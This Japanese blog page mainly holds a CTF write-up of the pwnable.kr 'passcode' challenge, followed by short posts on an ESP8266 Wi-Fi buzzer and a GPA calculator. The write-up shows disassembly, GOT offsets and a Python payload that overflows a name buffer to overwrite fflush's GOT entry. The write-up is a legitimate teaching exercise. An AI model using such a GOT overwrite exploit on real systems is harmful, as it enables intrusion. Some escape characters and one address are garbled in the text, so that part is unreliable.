(あとこの問題では使いませんが他の問題でダウンロードさせられるDMSファイルはMacやWindowsだと開くのが面倒なのでLinuxで開きましょう。
MacでUnarchiverというソフトを使えるとDMSファイルを開けるらしいのですが、「ファイル*の内容は、このプログラムでは展開できません」とエラーが出てしまいます。
fileコマンドで調べるとELF64実行ファイルと出てきますし素直にLinuxで開きましょう。)

調査

ssh passcode@pwnable.kr -p2222

と書いてあるので接続します。(pw:guest)と末尾にあるようにログインパスワードはguestです。

passcodeとpasscode.cとflagが置いてあります。
passcodeを実行すると

passcode@ubuntu:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : admin
Welcome admin!
enter passcode1 : aaaa
enter passcode2 : checking...
Login Failed!

となります。(この例ではyou nameにadmin、passcode1にaaaaを入力しました)

セグメンテーションフォールトを起こしています。

passcode@ubuntu:~$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
 int passcode1;
 int passcode2;

 printf("enter passcode1 : ");
 scanf("%d", passcode1);
 fflush(stdin);

 // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
 printf("enter passcode2 : ");
        scanf("%d", passcode2);

 printf("checking...n");
 if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!n");
  exit(0);
        }
}

void welcome(){
 char name[100];
 printf("enter you name : ");
 scanf("%100s", name);
 printf("Welcome %s!n", name);
}

int main(){
 printf("Toddler's Secure Login System 1.0 beta.n");

 welcome();
 login();

 // something after login...
 printf("Now I can safely trust you that you have credential :)n");
 return 0; 
}

catでソースコードpasscode.cを見て見ますと、10行目と15行目でscanfに変数を指すアドレスを渡すべきところを、変数を直接渡しています。

よって本来書き込んではいけない場所に書き込むことになりセグメンテーションフォールトを起こしているようです。

ここが

scanf("%d", &passcode1);
scanf("%d", &passcode2);

のように&をつけてあれば、scanf関数は正しくpasscode1や2に書き込んでくれたのですが…。

解法

おおまかな方針

これを逆手に取ると、passcode1やpasscode2に格納された(かつ書き込み可能な)好きなアドレスの指す先に、scanf関数で書き込むことができます。


今回は、ソースコード20行目のflagを開くところにジャンプしたいです。

その直後のfflush関数の呼び出しで20行目前にジャンプするために、
passcode1の指す先をfflush関数を指しているGOT(GlobalOffsetTable)にしておき、scanfでpasscode1の指す先へ書き込む際にGOTを書き換え、fflushを呼び出す際にそのアドレスにジャンプするようにします(GOT overwrite攻撃)

そしてpasscode1にfflushのGOTのアドレスを書き込むためには、一番最初のname入力時にBOF(BufferOverflow)を利用します。


これがこの問題を解くためのアイデアです。(pwnって難しいよねー)

GOTとは

ちなみに、GOTの役割ですが、
関数が呼ばれる際はまずPLT(ProcedureLinkageTable)にジャンプします。
PLTは、本当の関数のアドレスが入っているGOTを参照し、間接的にジャンプするのですが、最初はGOTに値が入っていません。なので初回だけ、GOTに本当の関数のアドレスを入れてくれる手続きにジャンプします。

このようにして動的リンクを実現している…らしいですが、GOTが書き換え可能だとGOT Overwrite攻撃みたいに書き換えて好きな場所に飛ばされるので、
最初にGOTは全部書き込んで置いて、書き込み不可にする!ってのがFull RELRO(RELocation Read Only)らしいです。この場合でも別な方法で好き勝手されはしますけど。


解法の詳細

passcode@ubuntu:~$ gdb passcode
(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>: push   %ebp
   0x08048565 <+1>: mov    %esp,%ebp
   0x08048567 <+3>: sub    $0x28,%esp
   0x0804856a <+6>: mov    $0x8048770,%eax
   0x0804856f <+11>: mov    %eax,(%esp)
   0x08048572 <+14>: call   0x8048420 <printf plt="">
   0x08048577 <+19>: mov    $0x8048783,%eax
   0x0804857c <+24>: mov    -0x10(%ebp),%edx
   0x0804857f <+27>: mov    %edx,0x4(%esp)
   0x08048583 <+31>: mov    %eax,(%esp)
   0x08048586 <+34>: call   0x80484a0 <__isoc99_scanf plt="">
   0x0804858b <+39>: mov    0x804a02c,%eax
   0x08048590 <+44>: mov    %eax,(%esp)
   0x08048593 <+47>: call   0x8048430 <fflush plt="">
   0x08048598 <+52>: mov    $0x8048786,%eax
   0x0804859d <+57>: mov    %eax,(%esp)
   0x080485a0 <+60>: call   0x8048420 <printf plt="">
   0x080485a5 <+65>: mov    $0x8048783,%eax
   0x080485aa <+70>: mov    -0xc(%ebp),%edx
   0x080485ad <+73>: mov    %edx,0x4(%esp)
   0x080485b1 <+77>: mov    %eax,(%esp)
   0x080485b4 <+80>: call   0x80484a0 <__isoc99_scanf plt="">
   0x080485b9 <+85>: movl   $0x8048799,(%esp)
   0x080485c0 <+92>: call   0x8048450 <puts plt="">
   0x080485c5 <+97>: cmpl   $0x528e6,-0x10(%ebp)
   0x080485cc <+104>: jne    0x80485f1 <login>
   0x080485ce <+106>: cmpl   $0xcc07c9,-0xc(%ebp)
   0x080485d5 <+113>: jne    0x80485f1 <login>
   0x080485d7 <+115>: movl   $0x80487a5,(%esp)
   0x080485de <+122>: call   0x8048450 <puts plt="">
   0x080485e3 <+127>: movl   $0x80487af,(%esp)
   0x080485ea <+134>: call   0x8048460 <system plt="">
   0x080485ef <+139>: leave  
   0x080485f0 <+140>: ret    
   0x080485f1 <+141>: movl   $0x80487bd,(%esp)
   0x080485f8 <+148>: call   0x8048450 <puts plt="">
   0x080485fd <+153>: movl   $0x0,(%esp)
End of assembler dump.

Dump of assembler code for function welcome:
   0x08048609 <+0>: push   %ebp
   0x0804860a <+1>: mov    %esp,%ebp
   0x0804860c <+3>: sub    $0x88,%esp
   0x08048612 <+9>: mov    %gs:0x14,%eax
   0x08048618 <+15>: mov    %eax,-0xc(%ebp)
   0x0804861b <+18>: xor    %eax,%eax
   0x0804861d <+20>: mov    $0x80487cb,%eax
   0x08048622 <+25>: mov    %eax,(%esp)
   0x08048625 <+28>: call   0x8048420 <printf plt="">
   0x0804862a <+33>: mov    $0x80487dd,%eax
   0x0804862f <+38>: lea    -0x70(%ebp),%edx
   0x08048632 <+41>: mov    %edx,0x4(%esp)
   0x08048636 <+45>: mov    %eax,(%esp)
   0x08048639 <+48>: call   0x80484a0 <__isoc99_scanf plt="">
   0x0804863e <+53>: mov    $0x80487e3,%eax
   0x08048643 <+58>: lea    -0x70(%ebp),%edx
   0x08048646 <+61>: mov    %edx,0x4(%esp)
   0x0804864a <+65>: mov    %eax,(%esp)
   0x0804864d <+68>: call   0x8048420 <printf plt="">
   0x08048652 <+73>: mov    -0xc(%ebp),%eax
   0x08048655 <+76>: xor    %gs:0x14,%eax
   0x0804865c <+83>: je     0x8048663 <welcome>
   0x0804865e <+85>: call   0x8048440 <__stack_chk_fail plt="">
   0x08048663 <+90>: leave  
   0x08048664 <+91>: ret    
End of assembler dump.

(gdb) disas main
Dump of assembler code for function main:
   0x08048665 <+0>: push   %ebp
   0x08048666 <+1>: mov    %esp,%ebp
   0x08048668 <+3>: and    $0xfffffff0,%esp
   0x0804866b <+6>: sub    $0x10,%esp
   0x0804866e <+9>: movl   $0x80487f0,(%esp)
   0x08048675 <+16>: call   0x8048450 <puts plt="">
   0x0804867a <+21>: call   0x8048609 <welcome>
   0x0804867f <+26>: call   0x8048564 <login>
   0x08048684 <+31>: movl   $0x8048818,(%esp)
   0x0804868b <+38>: call   0x8048450 <puts plt="">
   0x08048690 <+43>: mov    $0x0,%eax
   0x08048695 <+48>: leave  
   0x08048696 <+49>: ret    
End of assembler dump.

objdumpコマンドで逆アセンブルします。AT&T記法注意。(上の例ではHTMLなどで使う記号のエスケープを一部やってないので変な表示になっているかも)

ソースコード20行目のsystem関数でflagを開いてるのは、逆アセンブル結果では35行目に当たります。system関数を呼び出す準備(引数をスタックに積む)をしてるっぽい34行目にジャンプしたいので0x080485e3、つまり13451417にジャンプすれば良いです。

この例のwelcome関数の逆アセンブル結果54~57行目を抜き出しました。

   0x0804862f <+38>: lea    -0x70(%ebp),%edx
   0x08048632 <+41>: mov    %edx,0x4(%esp)
   0x08048636 <+45>: mov    %eax,(%esp)
   0x08048639 <+48>: call   0x80484a0 <__isoc99_scanf plt="">

welcome関数の中ではnameを聞くために一回だけscanfを使っています。name変数のアドレスをここの1行目のLEA(ロードエフェクティブアドレス)命令でeaxにロードしています。

よって変数nameは-0x70(%ebp)つまりEBP-0x70にあるらしいことがわかります。

そしてpasscode1の位置は…
login関数の逆アセンブル結果、11行目から14行目を見てください

   0x0804857c <+24>: mov    -0x10(%ebp),%edx
   0x0804857f <+27>: mov    %edx,0x4(%esp)
   0x08048583 <+31>: mov    %eax,(%esp)
   0x08048586 <+34>: call   0x80484a0 <__isoc99_scanf plt="">

ここの1行目でMOV命令を使っています。これは前述の通りscanfに変数のアドレスじゃなくて変数自体を渡してしまっているためです。

ここからさっきと同じく-0x10(%ebp)つまりEBP-0x10に変数passcode1があることがわかります。

0x70と0x10の差を取りますと96。

96バイトを適当なデータで埋め、その後の4バイト(ちょうどpasscode1の位置)を、書き込みたいアドレス(fflushを指してるGOTのアドレス)にします。

fflushを指してるGOTのアドレスは

passcode@ubuntu:~$ objdump -R passcode

passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

から、0x0804a004だとわかりました。

よって、
最初の96バイトを無駄なAで埋め、次の4バイトをfflushを指すGOTのアドレスで埋め、最後にジャンプしたい先の0x080485e3、つまり13451417を入れます。

python -c "print 96*'A'+'x04xa0x04x08'+'134514147'"

となり、

python -c "print 96*'A'+'x04xa0x04x08'+'134514147'" | ./passcode 

これでOKになります。

間に改行文字挟んでないのでわかりにくいですが、

96*'A'+'x04xa0x04x08'

までがnameに入力されます。BOFにより末尾の0x080485e3がちょうどpasscode1の部分に書き込まれます。ここまででちょうど100バイトですのでnameが受け取る入力は勝手にここまでになります。
(この後に’n’を挟むと101バイトになってしまい、次のpasscode1の入力になってしまいます…ので挟みませんが、挟んでもscanfは改行文字は区切り文字として見るので先頭なら改行文字が来ても結果は変わりません。)

'134514147'

がpasscode1の指す先(fflushを指しているGOT)に書き込まれます。
 よってfflushを呼び出す際に0x080485e3にジャンプするというワケです。

注意点

なお前述の通り、逆アセンブル結果の、system関数の引数の準備をしている34行目(0x080485e3)でなくsystem関数を呼んでる35行目(0x080485ea)にダイレクトにジャンプすると

passcode@ubuntu:~$ python -c "print 96*'A'+'x04xa0x04x08'+'134514154'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
sh: 1: Syntax error: word unexpected (expecting ")")
enter passcode1 : Now I can safely trust you that you have credential :)

のようにエラーが出てしまいます。

ArduinoでWi-Fi遠隔ブザーを作成

先日、ESP8266の開発ボードの購入をお伝えしましたが、そいつを使ってWi-Fi接続のリモートブザーを作りました。

https://github.com/TT375S/RemoteBuzzer_Wi-Fi

Arduinoとブザーやボタンの接続例はgithubのREADMEに書いてあります。

何故か、ブザー側が時々応答しなくなっていて、リセットボタンを押してやる必要がありイライラしますが、原因がわかっていません。
しばらくアクセスがないとスリープか切断などされてしまうのでしょうか。
よくわかっていません。

この記事自体は2017/3/3に書いているので、ほとんど記憶の彼方。作った時に書けばよかったです。

履修単位・GPA等成績の計算プログラムの作成

学校の成績表示ページに、合計単位数や、成績の集計結果(GPAとかグループ別合計とか)を表示する機能が無いのかなぁと思って作りましたが、よく見たらGPA計算はすでにありました。

https://github.com/TT375S/TestScheduleGetter

これのwebアプリ版が
Raspberry Piでサーバーを立てて、みんなに使ってもらえるようなwebアプリを考えていましたが、GPAの計算機能とかは探したら学校の成績表示ページに既にあったし、成績という個人情報をきちんと扱えなさそう…ということでやめて、
次にスマフォアプリにしました。
そのiOS版が
です。
記事自体を2017/3/3に書いているので、既に記憶の闇にほとんど消えていて、書くことがない…。